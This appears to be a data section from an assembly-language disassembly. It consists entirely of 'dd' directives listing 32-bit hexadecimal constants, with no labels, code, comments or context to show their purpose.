dd 3486E7EDh, 0B27C65A7h, 2F24117Ch, 0E7A8C545h, 9E6D0775h
dd 2D613624h, 9C87BF3Ah, 0B5F35DABh, 0F49F81E1h, 4BF1D6DDh
dd 0E21407D6h, 85073BEh, 0A3D150C9h, 0EB5D27CAh, 273FEF14h
dd 0AC9348Dh, 0F151B4E7h, 0B3E04C08h, 18D0B78Ah, 40D01C9Dh
dd 0AB2C6701h, 3A525B6Ah, 9D7B07Eh, 0AEA4CDF9h, 0FA278CE2h
dd 0F4671775h, 2FDBFF11h, 9207AC7Eh, 0E002AD24h, 4A58B719h
dd 0A66F7E35h, 1861E111h, 25A4D3A1h, 6AAAD450h, 624313C7h
dd 9B194BDEh, 84644DE2h, 2A613FF8h, 763F5293h, 947372DFh
dd 13FF74DDh, 921AAC6Fh, 0D622ABF3h, 5267DE27h, 949EC5DAh
dd 68AB8886h, 0F1E15010h, 0C2DC60Eh, 317121CEh, 82ECE8A2h
dd 812805FFh, 955A0D51h, 0EB00E965h, 2BA1C7B6h, 0AAE14456h
dd 1083B5EBh, 91FE7043h, 95A33B33h, 53B8E3DAh, 46C25576h
dd 440F9DEFh, 0EF995A3h, 2B62F94Bh, 850676F5h, 9C832BCAh
dd 63F05C4Eh, 8677A62Eh, 0F8A7BE8Bh, 0A84AE6C3h, 3BBBD5EAh
dd 431579A3h, 6AD35ACh, 0CFE6CAE5h, 0DE789E0Ch, 8F078AD8h
dd 46769457h, 0DF62655Dh, 166BD500h, 29E75D8Fh, 27677B74h
dd 7F71CC27h, 3E37D391h, 9E46B99Fh, 0CF98F9CFh, 7CF096D7h
dd 87EBC4BAh, 45D142A5h, 0B7A98CECh, 17C44A4Ah, 6D2578E6h
dd 2584AE06h, 89593E77h, 5643B21Bh, 0D815976Ah, 57D055BAh
dd 0E0A8486Ch, 34C15945h, 0AABC62F4h, 552A7260h, 0A170C2B0h
dd 82C4581Eh, 0AE7E0A84h, 4E0A807Ah, 782B203Dh, 71879E12h
dd 980BD34Fh, 777318Dh, 2D227EB3h, 644BBEA1h, 6FA8597Dh
dd 1F5922FFh, 0ED62A964h, 23B5AC87h, 0A70709EDh, 0A4D749C1h
dd 4549F619h, 0F7E349F6h, 0E3FEBE88h, 7CBBDC6h, 5B4D7E18h
dd 0D627020Dh, 9F65B14h, 0D61BDEC2h, 0E6057E1Ah, 0C948E41Eh
dd 76B7C68h, 6791E29Dh, 0A62FA178h, 3FE5FA63h, 0E0CC0742h
dd 5C05725Eh, 0FD015D12h, 2C504DD3h, 0AE962839h, 0E9234CE6h
dd 99F971F3h, 0E3071926h, 12E0A05Fh, 24EB3A1Dh, 0ACE96D1Dh
dd 0DD2A593Ah, 0AA68B0D4h, 0D975FA54h, 2795D46Ch, 9E577AB3h
dd 25E6B7F4h, 5BAE4E68h, 0C1476C41h, 869F6F5Eh, 0E15C2CC2h
dd 1D0267E7h, 8F5E6B5Ah, 5754085Dh, 99834674h, 72D22F6Dh
dd 9C295C48h, 0CAE609FDh, 36D0B4F9h, 0D05868C3h, 94E0AC77h
dd 0ED7964B7h, 2CA950B3h, 6DF1BE6Eh, 0EFA094EFh, 8DDAF2D0h
dd 0D4AA6E1Ch, 6C89FF6Ah, 0B52A07C5h, 8BE07FEAh, 0B25C2E28h
dd 45389535h, 4D953FE5h, 5A7F6F60h, 5F9F3119h, 0ED64585Ah
dd 0F1DF416Dh, 1284EFA0h, 0B3F270Ch, 59F1B0C1h, 4A6497DCh
dd 2BA6D8A1h, 0DBA874A0h, 0F4F392CAh, 0E6906D1h, 0A0569BADh
dd 1771949Ch, 0EB6D28D2h, 36946BA7h, 60F4A038h, 7CD5D690h
dd 6DAA6D66h, 0B46EAE3Dh, 0C0C159A9h, 0D70F2201h, 9B585D43h
dd 1A060E6Ah, 0AFBC211h, 0F755D05Dh, 8630765Bh, 0C17EDE0Ch
dd 78D3BEC0h, 13EE13E7h, 0AC81D40Ch, 361B8A74h, 486910E2h
dd 6C9E99A9h, 2B439C6Bh, 7027CFFFh, 580F779Dh, 0C3F8A337h
dd 0EA58CED9h, 2368398Eh, 27BC335Dh, 1D6ACC08h, 0F5EE378Dh
dd 629F545Eh, 0B6A7E685h, 75B83B38h, 0CC18D507h, 6A4EF785h
dd 9D95A5F7h, 0F36E5951h, 5FE88E1Ch, 51A4A2C6h, 0D9B9296Eh
dd 0B79CF528h, 4DEAD197h, 6089467Ch, 0E0036687h, 0D31D15DEh
dd 0C452CA19h, 33611F3Fh, 85A15A27h, 0F0A75F28h, 14FB7119h
dd 0DC481DF4h, 0A09B1F4Ah, 2EE625B6h, 0D6E54AECh, 736AB09Bh
dd 5E4EE240h, 7EFD95D8h, 3088251Eh, 7F12E9CEh, 170DF8BBh
dd 0DA24EF99h, 6925D6C6h, 45C25896h, 0BEE44552h, 3172F8C4h
dd 47D22F5Fh, 6B1F7C7Ch, 0D2B6E6B9h, 781A48CAh, 0D6904CE6h
dd 19CA958h, 0E77B8588h, 0C61AAF63h, 38D32510h, 2FB2F4E2h
dd 0CCB4D90Ch, 27CC50F5h, 0F5939570h, 0F0564D0Ch, 5178B5E9h
dd 583DB158h, 7A7C14D1h, 3EB95B0Dh, 0C25E514h, 9263B606h
dd 4FB03503h, 4585A815h, 921325A8h, 109DC123h, 889E8610h
dd 684F9DE0h, 4F431205h, 96A81672h, 28797AB0h, 1B3CF2B4h
dd 72A56397h, 72B27BEAh, 0A1D5A5Bh, 0A7A94520h, 214B0305h
dd 76108DEEh, 0D5FA8CFFh, 16759810h, 75434BB2h, 67F9E9F0h
dd 56E321F9h, 89D65DFCh, 64445C55h, 6968A946h, 39ED0402h
dd 0C00C1E9Eh, 69F06BBEh, 0B3F3F958h, 55733FADh, 0AAC2D416h
dd 0EB937DBDh, 0EE65B772h, 0DE938531h, 45B32E3Bh, 3E10C803h
dd 8A72C9E2h, 0C10D70BFh, 294BAD9Ah, 4D786A6Ah, 0D231E6E8h
dd 0C8A86C26h, 0A43B6414h, 80A620FCh, 0BA2E900Dh, 0B2F9B97Ch
dd 43CCDA83h, 0BFB61D97h, 7CF67F45h, 8456D669h, 56FED250h
dd 0B290F8B0h, 0DF7E1B26h, 0A46AA263h, 0B25FD89h, 57160AA2h
dd 9E6F1603h, 602C0C11h, 0FE33DE1Bh, 3067B4CCh, 19A7ED0h
dd 0D1F8ED8Bh, 62B746C2h
dd 566FA416h, 33576022h, 99456EACh, 76093D52h, 1C86B446h
dd 0D150835Eh, 96860ACh, 6AE4FBFAh, 2F2AC0ACh, 0B1E0A77Dh
dd 90B03058h, 0E0FAB53Eh, 19834BACh, 10842D46h, 9233047Dh
dd 9839A1FCh, 5AAD3905h, 0DD65AB00h, 7E6A5B76h, 5345E108h
dd 72D5DFB5h, 0AABE304Dh, 0DE0A5915h, 130A3EB3h, 9CD39AEBh
dd 0C73E5EFCh, 0A8B0FD5Ah, 4DED0123h, 0B6F7F497h, 0CE9C5F8Dh
dd 73874367h, 5865EB8h, 0D9D63DAEh, 0F559AE5Ah, 0BFAC4577h
dd 82EB8CC1h, 8A86D719h, 5FC9329Ch, 0C645B847h, 6D78A38Fh
dd 0E060F8EAh, 3539541Eh, 0DC52994Fh, 0C05B813Ah, 4BD724ACh
dd 6CF9B6BBh, 42D17735h, 2EC46D8Dh, 13ECBBEFh, 0D22D1BACh
dd 0D1F14FB2h, 0B9457ADBh, 394DF848h, 9A7CFA05h, 12D84EF5h
dd 1632D13Bh, 7C79446Fh, 7231BAFEh, 0D0F52D58h, 0C36B9772h
dd 8E5B9D8Bh, 82D1B5BEh, 5AF70A96h, 0F85E6102h, 0B8F07315h
dd 5E0D89B2h, 0BC880360h, 5AF468E2h, 5A9921C7h, 0F9ABA9CDh
dd 81763591h, 0F8FD98B8h, 7832C564h, 61A25B79h, 539BB6EBh
dd 2AF855B5h, 0E1FAB268h, 303EBA27h, 3946429Eh, 56C8AD00h
dd 0B52FB6F0h, 15C469F6h, 7822C2ACh, 0B30A67ADh, 2C860CB3h
dd 7F8F3A3Dh, 9DB835ADh, 61C68608h, 0BCE6F16h, 0A2D1CD79h
dd 11974D33h, 54A62210h, 0E13FF6Ch, 0EF2B4095h, 0B2970977h
dd 0B4C2E889h, 2093E0DEh, 0E1137913h, 0BB7663D3h, 104E3231h
dd 0B189FEF7h, 6324312Ch, 0E2BCD424h, 73470984h, 649A24F2h
dd 0B6ED1C60h, 76F160BCh, 0E5B87458h, 11977BCCh, 60C26AAEh
dd 0C279F28Bh, 5BF9B97Dh, 0AE8BFEB1h, 0CFF978D2h, 3C33E534h
dd 83B532F8h, 34E57F1Ah, 10B4B896h, 2C6E4A9Ah, 35B22911h
dd 0AC600D4Dh, 0F4319282h, 45033B77h, 21F99F08h, 0D1CA2C24h
dd 0BEF2EFF8h, 63623597h, 280EF537h, 0A06E12C8h, 78366271h
dd 3296FADh, 7860CE04h, 88FC1017h, 0C6947FC5h, 0F090252Ch
dd 29698D7Ch, 0FFF7D4EAh, 390E9E1Ch, 0C940EC43h, 0C5CE4C77h
dd 9E0BCEBDh, 3A7A7F4Eh, 0F59274F1h, 0A4478138h, 4B49861Dh
dd 20BC93EDh, 82871CC0h, 0D9A7CD81h, 603AEBFEh, 0AC122D7Bh
dd 6CF301DAh, 6D4B2149h, 56844430h, 7E2760B4h, 150B0D17h
dd 367713EFh, 0DB5E8F9Dh, 0A260DFC7h, 0FC3F9C5Ch, 0E254AB89h
dd 383EE7ABh, 89042B8Fh, 9B5E35FBh, 0C0B9A3A0h, 5068B4D1h
dd 0B92FBA5Eh, 21B27C30h, 47502480h, 0D8971D38h, 4C755582h
dd 724911EBh, 331056FCh, 0CDEBE9C7h, 5E75F25Fh, 1EB74C01h
dd 0CFF6132Fh, 0B45934C0h, 0A41D2508h, 6F11054Ch, 55A7C696h
dd 60A3B7D0h, 6ECF72Bh, 5DF1ACF4h, 0BFAA59EAh, 22FE14DEh
dd 33D0BB9Fh, 0D6F9159Fh, 59C9F3C6h, 0A2B34299h, 4564BDDEh
dd 465EEF62h, 0D1776245h, 0B2060D88h, 84C92ACEh, 0BBA708Ch
dd 0D7432AB1h, 0C733BEB2h, 8EE81F08h, 9B1B2060h, 6B5AF68h
dd 60DBB52Ch, 970BD1C3h, 0D10F4366h, 0C8AF5E3Eh, 0C0FA19C4h
dd 0C4B2B76Dh, 0BCF6D100h, 8F4CEE0h, 3829A376h, 9E3A76A0h
dd 83E59ABCh, 8580E0F1h, 98501BB0h, 6C915B66h, 850DBCE3h
dd 895FABE9h, 7C3C677Dh, 0EE16D1ADh, 597171AFh, 5E665AB3h
dd 291949E3h, 6EE2B51h, 29ABEB2Dh, 0A9E39EFFh, 0C35D614Eh
dd 2804F51Bh, 948A1AAFh, 970B6C6Fh, 43E41BDAh, 32060EFh
dd 8D3A7EC3h, 52C9D77Eh, 4200FCA6h, 6EA5AE8Bh, 4BF31797h
dd 893210C8h, 0A3E783E2h, 543AC8F6h, 259085A3h, 0CA36A138h
dd 0B8FBC379h, 0C7A27237h, 0B9A501CFh, 909C3F6Ah, 70EDDCBBh
dd 2B078B79h, 0E0A357E2h, 0D500F097h, 0CE8ADDFAh, 0AA2F7AE8h
dd 60BD3BE1h, 103BE6A8h, 0C4CAF37Eh, 0B77C118Eh, 0FD58B577h
dd 1BB59B08h, 3732080Dh, 9582FB18h, 16256137h, 0FEAFC49Ah
dd 0F8884FC0h, 1B0B4B29h, 3F6EBB9Ch, 0D66182C8h, 3D37A040h
dd 0C8667292h, 0E999D913h, 89C7A1C2h, 8926E212h, 33076999h
dd 0CCC951D3h, 1638948Ch, 0F9AD6DBCh, 0E2B8971Eh, 5F884783h
dd 0B83E5A67h, 0D13618F5h, 0ABF4E3D6h, 7FA7ECA8h, 0FFB2A0Fh
dd 0D9518FBFh, 751A6F2Dh, 94C02EC4h, 0DE031E51h, 34158369h
dd 9D2EEB2h, 528C7A99h, 36D83FBBh, 0BC196525h, 0C65CEB57h
dd 93C06D68h, 45DA04F9h, 6D18E66h, 4590E4ACh, 47AF6A85h
dd 137B4D48h, 755F96D5h, 997D7BC2h, 26669812h, 0F710FAF4h
dd 0EBDE39BAh, 5E853F7Fh, 0AC54FE7Fh, 0EAAC1D7h, 0AA3ECF59h
dd 0B46EFFC7h, 2CB94CACh, 70B372D7h, 0A9961CF4h, 264AD1DBh
dd 150EF79Ah, 5AB01BAFh, 19594B3Eh, 3D0E0877h, 0B34DB655h
dd 0D1D41371h, 0F1446522h, 5B4747A7h, 1463C536h, 4C85162Ch
dd 629A1D5h, 81603063h, 0F9D5A0EFh, 4CDA7E26h, 6ED7CFC3h
dd 4911ED36h, 0D3210DDAh, 9980C163h, 16DA0B52h, 0C8428665h
dd 7DBF7627h, 4E9A3A3Eh, 0F2EF032Ah, 0BE48AD82h, 11ED33FFh
dd 486E883Ch, 66D567E0h, 0A4619DB6h, 59E2ABC9h, 67A6912Dh
dd 0ACEFB886h, 9CB7070Eh, 9583864h, 2EFAB838h, 0DFF60386h
dd 0E8C27552h, 8B9681FBh, 8DDCD16Eh, 0C16B9BCCh, 2F847A4Dh
dd 0F19B160Eh, 427AF69Eh, 0B60CF0BEh, 58FE16D8h, 95E89C73h
dd 9DEA2A8Fh, 0D9292A8Fh, 47910F7Eh, 3AD5D1E2h, 640EB537h
dd 582C5F80h, 0BB4B91DFh, 32B7CA75h, 2DD6C060h, 2130154h
dd 0C06527ADh, 150808Ch, 76A6020Bh, 9021B019h, 21A4CAA5h
dd 0A4A544B0h, 5463023h, 57481032h, 0B0216415h, 46C99556h
dd 0CEEA84E0h, 0AA360418h, 0E408B194h, 6E4294A9h, 20A60554h
dd 22815660h, 0A605476Eh, 1516021h, 15360227h, 579B8198h
dd 0EF627CF7h, 6B818AD2h, 5719F89Bh, 0BBA0A5C6h, 0E242CFD7h
dd 0D189EE9Ch, 7389C51h, 9384C750h, 81167CF8h, 0B695F5B2h
dd 884A2E68h, 975832C3h, 0DD590C4Ch, 0BF5527BAh, 73AF5FE7h
dd 0EC1F833Fh, 883AB694h, 96617B8Fh, 0CC675FBEh, 60131347h
dd 0AA0169A5h, 4F879A1Eh, 0C78E7F37h, 39FC3DE7h, 810B9F0Eh
dd 1154B992h, 0EE0F1295h, 7C3FC652h, 3C808C15h, 0C559FF3Dh
dd 0B425A7BBh, 12E892F5h, 8A258F7Fh, 2C335F9Dh, 0EEC5478Eh
dd 562EA53Bh, 6796ACD2h, 8E8EF5F2h, 4D6B8F99h, 0E3893D62h
dd 86977E25h, 8BDAE971h, 0A6E0DDF8h, 0FC1FA1BFh, 0D2D6287h
dd 26FE6781h, 1F70E2CFh, 4B7C06FFh, 0B0307B29h, 0BE386FF1h
dd 843CBBF1h, 0BC5ADAF8h, 67D590DBh, 0CA7E57CCh, 0E80F97C5h
dd 9A3434F3h, 0E7D4163Bh, 0B33932D2h, 0D79DEDC4h, 0CA349729h
dd 829C6EBFh, 0DB5871A1h, 9E302A19h, 5A815561h, 29D4031Eh
dd 0FB809819h, 7B59D4DBh, 43A9278Eh, 0E6FF286Ch, 19E2EFF2h
dd 6897FBF6h, 1EBDA326h, 5CFBEEB6h, 7ED79728h, 75CA917Fh
dd 26347342h, 934E0EC3h, 0CE127EF8h, 0F706B835h, 0C1AFC4EFh
dd 7867997Bh, 63261542h, 9CBA0EEh, 0DF2F0D0Bh, 0AC9249F3h
dd 27EA6830h, 0C19E666h, 4C66A872h, 78790DF6h, 0A167283Eh
dd 9B0AC430h, 66925FEh, 11F46DDFh, 6021985Dh, 0CD260345h
dd 8561926Fh, 0D5CBD374h, 7A46F97Ch, 0B33A1E6Ch, 589743E6h
dd 82F2B6B4h, 0DDC3CEB6h, 82D882C2h, 3483707Eh, 0CD24BA94h
dd 3F2BEDE8h, 0D707BECCh, 5C95E70Eh, 2D72572Bh, 0A2EFA4AFh
dd 5D8E56B5h, 0C8D76323h, 8D962DF5h, 7865D4Bh, 8A72A3D1h
dd 4547EFB1h, 4A7B95D6h, 62625A00h, 0E4888B33h, 0F999B8D8h
dd 7EE10C63h, 850D1F4h, 7406D833h, 95D628A5h, 0F100DF64h
dd 0D8437FBBh, 0BAE5AB3Dh
dd 6289AC58h, 0E651397Fh, 0A6C588CDh, 7B5F2EF8h, 0B56BF731h
dd 0D96AD7ECh, 0E2B98C2Fh, 0B20EEA46h, 9EBD757Fh, 720FAFBDh
dd 0C27A299Bh, 2A4258A1h, 64DCFED5h, 58AEFB59h, 959F1F6Ch
dd 0BAF819EAh, 0B1B3CBECh, 5E3E7EF8h, 0C7D755A1h, 9DD7E18Ch
dd 0DFC3198Fh, 0FA176BA3h, 0A0CFB67Fh, 0ECA56D26h, 0B9D94ADCh
dd 7D8E0DBEh, 0C22569C7h, 9FA66A99h, 0CA4FC994h, 0C943EE4h
dd 6ABFA331h, 0A57BC19Fh, 0CBF18004h, 8C14893Bh, 0B68249F2h
dd 112FC9Ch, 2CA40C2Eh, 87930772h, 0F8BE229Ch, 0B5860335h
dd 5886B7E6h, 4EABE0FFh, 0AAAF9C51h, 0E9CF7F97h, 49E2E749h
dd 0DB624F71h, 97003ED9h, 0FF15EA73h, 3AC26A6Ch, 8275804Eh
dd 0A3B25CC4h, 0F7D09ED3h, 0F11908EBh, 0A7059050h, 8A6EAEF1h
dd 80CD09F1h, 0D05D97C6h, 6EBE3BD2h, 0EB6F9D13h, 0F58FD237h
dd 2A71C715h, 0FCCB63DEh, 96C7A336h, 9B9C2D91h, 259BEFACh
dd 0A01BEE2h, 71EF7A0Bh, 0B1DE94Fh, 4FFB140Eh, 0FE0B105Eh
dd 258A6C48h, 0BC2D6D8Ah, 0CDD11A69h, 89E42B3Bh, 0F5F5491Ch
dd 5758B0F3h, 5993B1B0h, 0D78C4F2Dh, 321D56B1h, 0F5D367Eh
dd 0C2A0A76Eh, 0D7182B75h, 2D7AB7E1h, 0D41AB85Eh, 0D27E0993h
dd 0CB95A81Eh, 6937FB5Fh, 8371E2B2h, 79E6C35Eh, 676ABCD8h
dd 32E9769Fh, 58F38DC3h, 0FF464EB9h, 96BD162Bh, 0B139CB73h
dd 0D5D8F506h, 263E4F3h, 970AFD95h, 532E1F8Eh, 0BEE1AB7Dh
dd 0D0DF70D5h, 117B831Fh, 0DCCF97DEh, 528E2F05h, 5455403Ch
dd 0A190ECFFh, 510A053Eh, 0AF7D2EC6h, 96AF7D96h, 4C6C0F7Dh
dd 85BFCB06h, 84A8C2C0h, 21939807h, 0D444D754h, 26FC0D6Ah
dd 0E26F3836h, 15BADE28h, 0DA2B8DF0h, 7399E050h, 2DEAEF09h
dd 92CC3E17h, 465F7ADAh, 7E78355h, 872C7062h, 0D79BFF08h
dd 0F3BA3E72h, 96BCD9DBh, 4FD01BD5h, 5076CB43h, 52770BF0h
dd 0E3C61F17h, 51D5BB93h, 0DC2F394Ch, 5CDF63F6h, 89C68410h
dd 0C28962BBh, 809D9B2Bh, 6D764766h, 0E2108A16h, 766A0EECh
dd 0D9BC4A62h, 59B1FF71h, 0BD9B85EBh, 75FB7C4Dh, 5FF3D9ACh
dd 6819B370h, 5DEDE376h, 18CB7D9Ah, 9AD868D3h, 1AC160A7h
dd 3EDE15F8h, 95E55C4Ah, 2B55EA2Bh, 998C40FAh, 6B6D51B0h
dd 42CF39D3h, 44A16799h, 0BA647358h, 6D8D2189h, 5D702411h
dd 26F0D223h, 0CA3B13DAh, 1D3472h, 87B7C4B3h, 0A03ADDF4h
dd 0CB60347Ah, 6438EF50h, 0FBD1F70Ch, 2C06367Ah, 0D871B991h
dd 19D63FB6h, 860265EDh, 0C95F938Ah, 0D6050809h, 37E98D1Eh
dd 87BB9797h, 0D79D3EF4h, 5AEBA88h, 7DF6E268h, 0A82713CEh
dd 395F7139h, 0B0305C4Fh, 77766F16h, 37C937E2h, 0B44E574Ah
dd 0EECBAEEEh, 0E9C6B604h, 8F3685BAh, 48B873ECh, 0A5F54CE6h
dd 65F258F2h, 5C6F8FB0h, 0BE5C24E2h, 0E1849F5Ch, 0F40FABE2h
dd 32ED4849h, 8A65F0FAh, 1A5F434Bh, 9089902Fh, 0C48A21E5h
dd 5EAA12E3h, 0C714D07Ch, 1E78BED0h, 0C31490DEh, 0AEBFD6A7h
dd 7E5A1831h, 0A0E18C6Ah, 0EF8FBC75h, 8F7A2B91h, 8C8341C2h
dd 649759FAh, 2062980Dh, 597D44D0h, 0C041903Bh, 15B80B2Dh
dd 8A41E098h, 10F5CDF8h, 8A39AEEAh, 0C1AFC2E9h, 2B746F7Bh
dd 9DC0143Eh, 0EC3EB9FDh, 0F1861799h, 0C20BD69Ch, 18188978h
dd 4FC3144Bh, 35AEC674h, 154995F7h, 0DCFC99B2h, 0F6AD7A0h
dd 0ED582F85h, 58B6C50Fh, 33E378A2h, 660B76AEh, 18B2DEFDh
dd 0ABD7F4A5h, 98D839F5h, 0FD1B8A00h, 0FEB1519Dh, 6F29D3Dh
dd 0C12CF171h, 0F171302h, 0E29B1D5Ch, 0BC53C4Dh, 902D8CE4h
dd 6B2AC69Bh, 0B5B5435Bh, 0D50B3E1Ch, 8A377106h, 0F223D252h
dd 9BDBEF22h, 5B4C53A8h, 0BFE45CFFh, 0D3AB1FAAh, 0BEEE5CD5h
dd 0DD40BB1Fh, 9BFCFDF0h, 20ECACF3h, 0AB616CC6h, 0CE69AB29h
dd 95F215D7h, 0EF467CC8h, 0B7F3B088h, 74AA2DBFh, 57D8C428h
dd 16C57F71h, 565EDA54h, 9573DEBDh, 7395CE3Eh, 0A7FC1A75h
dd 359A1005h, 0D9AABFBh, 0E7381AD6h, 0A4AC086Ch, 0AFE12EFAh
dd 2AEBE927h, 22F6FCB6h, 0E6839B9Ah, 0FC05CD1Ch, 9F491DE1h
dd 1FE091EBh, 6BF485Dh, 0F229E8FFh, 84FE114Fh, 262BC317h
dd 77CA203Bh, 0B61E2F34h, 98AB90AEh, 6FC63DC5h, 0ACC47AE1h
dd 19E8E22Bh, 3A49E37Fh, 0FDC51656h, 47015D7Eh, 0B514ED78h
dd 305455Fh, 0DF8A2E4Eh, 6EB428F5h, 0C69C970Ah, 42B8D3B1h
dd 8A76A8C4h, 0F13B1B30h, 6903D57Bh, 8E14EB2Ah, 8B25EFC3h
dd 57B887h, 0AEDB6E08h, 0B1D9E6A6h, 0CF54D4FAh, 6BEA564Dh
dd 758BC22h, 8F5CDE69h, 0D7638D8Eh, 0EE292EA2h, 0C47DFAB1h
dd 0B5F5BBB0h, 3FAD8B34h, 4073F506h, 47569EDEh, 1EC3D852h
dd 34BF01F7h, 1BEBF7DDh, 409D4F55h, 6B70EBF1h, 0C19FCC96h
dd 97F63540h, 9AE4A5FCh, 233D8858h, 0C24444CAh, 29C186AEh
dd 7965A91Eh, 494F3B5Ch, 0CB50573Bh, 844BF079h, 0C20851CAh
dd 3C050166h, 0B125D7CAh, 0D2C0C1A2h, 91C4ECA3h, 8CA5D7CEh
dd 7322B75Eh, 109A2B74h, 46CA3C3Fh, 0FE836448h, 0F835F89Dh
dd 34438146h, 0EE0CB3F8h, 5D997385h, 66CF084h, 66D4403Ah
dd 9C0E594Bh, 9CE52D44h, 1A61E149h, 75CC9DB7h, 2CB47ECBh
dd 3FDB2A8Ah, 17F55A95h, 60CA89D4h, 687B0F20h, 1D19FF1Bh
dd 8AD847Dh, 0B6C96936h, 0C6D96EF2h, 4650AC33h, 54368C7Ch
dd 95D20C1Bh, 0E31A7530h, 0C63D0E8Ch, 7D162EBAh, 0C37F6DD8h
dd 0A62BF048h, 2E55F913h, 77E7EA17h, 43950BE9h, 6F40F678h
dd 7BDEE944h, 0A23748B5h, 9B888254h, 0B2CEBC46h, 8E353019h
dd 831C7AE7h, 21A621Fh, 0B3BE963h, 8A96A67Bh, 7AE0E7F4h
dd 71B3AE7Ch, 605C3181h, 71B0170Ch, 5AEEC81h, 5102F5B2h
dd 0EE2A867Eh, 0B12C522Ah, 0EABF98E3h, 66EC2F58h, 0DA0F5655h
dd 7E737659h, 0FA3B3202h, 0C9460270h, 88A30308h, 4B53A77Bh
dd 53B9884Bh, 0C49641C4h, 87125961h, 0DBF0A8DDh, 32DF8C33h
dd 1BF11278h, 4D4EEB23h, 0C1D75901h, 0F0778F2Ah, 50AD84D1h
dd 237D03F1h, 0D18B9ACDh, 8D11FE19h, 37C53BDEh, 0AB49C695h
dd 7AE5B971h, 0B06F553h, 53E019C5h, 0A98855E4h, 0BFEC572Ah
dd 0D767FF6Eh, 8738D4CDh, 62684B9Dh, 1E372C3Bh, 0EC9098A8h
dd 0A00FAF4Bh, 0AABD9180h, 0F8104FF5h, 0F86D91C9h, 6F217D1Fh
dd 9CE2EEB6h, 0ED0CC0CCh, 36FE4932h, 7A1B7182h, 0ECF275DFh
dd 0D997B22Ah, 7E5CE73h, 0F1524721h, 0F57732C4h, 7F8A5A49h
dd 0C14B954Eh, 367B580Dh, 1ADE960h, 0D406CF4Bh, 0EF067685h
dd 0E10DFE4Dh, 4268B937h, 1A26430h, 833374A8h, 0B1F7998Ah
dd 4012930Dh, 0CE856A2h, 27621606h, 3CF3306Eh, 6D80586Eh
dd 96B8EE26h, 27B17E47h, 36C767B3h, 21468A6Eh, 835FC1A2h
dd 0CF75FA7h, 4840CE76h, 93922A93h, 8AF5D17Ah, 0ECD6B2EDh
dd 8A6E098Bh, 592CF600h, 28D12AA7h, 49150807h, 29473B71h
dd 23F2B274h, 4D5D0398h, 220FDBFh, 0D15CC430h, 264C7899h
dd 59289B89h, 238D6CCDh, 3D59B336h, 0A10B4E97h, 20C6F667h
dd 586FF5FFh, 0BDC611F3h, 358FF93h, 6865C611h, 7FC828ABh
dd 6BF13BFCh, 51471458h, 0F5147179h, 0A8A15F92h, 4503972Dh
dd 0C3C5CE71h, 46742142h, 4F3D6E34h, 4D10C518h, 77E90F5Eh
dd 7DD2A6D8h, 11A3FC7Dh, 0BA14F061h, 0A2DBB40Dh, 0D772575Bh
dd 8760596Bh, 0C4611001h, 0BC97730Dh, 0F6CF900Bh, 0D04DF3DFh
dd 0C98DC838h, 0E85E02CFh, 0FC6997C5h, 39D79937h, 5916539Fh
dd 3DD59E35h, 6F4E4922h
dd 0E7839CBh, 5E1AFBBDh, 0F13281F5h, 14D3213Dh, 0B6DD0796h
dd 596276Ch, 208B0C9Ah, 0BF24DBAFh, 5CB916C3h, 0F8D18E41h
dd 0A7B81837h, 0BA359819h, 0E21CB315h, 35D4E110h, 0B0AC043Ch
dd 0F90FDC8h, 0FF6E5E02h, 0BC1AFC44h, 913BFD7Dh, 6479A151h
dd 7292E64Eh, 5B51ECA4h, 32384D65h, 63D7C4C6h, 3D6AA3D4h
dd 67EB47B2h, 0CEBB51E8h, 9297EBF3h, 0A5F8E6DEh, 8965BF64h
dd 73C29297h, 867A3475h, 15260D1Fh, 1018036Ah, 245F5AFBh
dd 51F15950h, 0D445000Fh, 21C975DDh, 0E9424053h, 0DB2F0A12h
dd 7E7D5F89h, 0FCC26D6h, 663283E2h, 0D6457E2Bh, 0CD2F7932h
dd 20CADC20h, 0DF19B0BCh, 0DEBC790Bh, 589F13EEh, 151E9AF1h
dd 5F89E1AFh, 0EEEF13C3h, 396EF132h, 0C4F8DEF1h, 0D7A0F8EFh
dd 27C77789h, 0EF13CBDEh, 2E4758Eh, 9F1E9F13h, 6AD58DF8h
dd 0CBF9FE2h, 649F6176h, 8FEA9815h, 8A59E3E2h, 673CADEFh
dd 0D24593A7h, 0B679F155h, 71A6D8BEh, 39B4C872h, 0CB927818h
dd 60E0ACh, 0AF769B58h, 847A9C53h, 64F04B27h, 332C9E09h
dd 12FC30E3h, 9685C329h, 2A3C832h, 7072FFABh, 5A51B225h
dd 7ACD399Ah, 4B3A933Ah, 3891D963h, 0CE253FEBh, 0EB899EFh
dd 16592C1Bh, 0ABCD710Bh, 0D342BDB0h, 0F67299FAh, 12E32A10h
dd 6A71C372h, 1A0BBD08h, 0D725EE35h, 0BFCBBB22h, 9A0F6421h
dd 92CA247Bh, 0A314EF5Ch, 3F710B49h, 0C4E5A286h, 0E6575476h
dd 0D3363FFFh, 0E7A9D8D2h, 7397C3F0h, 88B94497h, 0E09DF2FAh
dd 62BF1B13h, 16B4C3F6h, 43E7CF8Ah, 7EE52D79h, 0FA4617E0h
dd 0FEBE867Ah, 0E91B5FC8h, 0F8FDE86Bh, 0C33404DAh, 2B519B71h
dd 2FA16D7Fh, 0A76EA713h, 0B5FCBEAFh, 0E06EBE83h, 9AFA3AAFh
dd 0E8FB5FCBh, 357F206Bh, 1038DAC6h, 0D629A36Bh, 1B58A1C6h
dd 8635F4CDh, 0D7D18EE3h, 9C75FC55h, 0AFE3AEBEh, 4436B113h
dd 0FA568DACh, 7F97D00Ah, 41F1B43h, 9FE5DA1Bh, 0CFF94709h
dd 9891FC18h, 89AF7FE4h, 64D6631Dh, 273318FDh, 0DDED631Eh
dd 7E1884B1h, 0FB351D25h, 0CF71D4F1h, 7A4D9524h, 0F3D09D2Ah
dd 431443C4h, 43154A7Bh, 0F68671FBh, 0E8ED0CE3h, 844D279Bh
dd 31CA7297h, 6BF1FBA6h, 6BE74EF0h, 0E9A060C8h, 9C46E405h
dd 0AC6E4216h, 0B51AAB6h, 0C9383A21h, 0E7ABD324h, 4E7A0C5Bh
dd 0D9160A94h, 3C0E9064h, 2FE3B475h, 0B3FA418Eh, 1B73D51Eh
dd 631685F5h, 183EE3CFh, 0E32DC038h, 87D0E97h, 14C37F0h
dd 0D00F092Ah, 0C28F802h, 28191FF2h, 0FD593EE0h, 0DC23993Bh
dd 0DF1742FEh, 0A1C28E0h, 0FF9C57E1h, 2E2EF9DBh, 0F049115Fh
dd 0C381F945h, 0A77FE67Bh, 0F71AFC97h, 3D89B946h, 22FAD273h
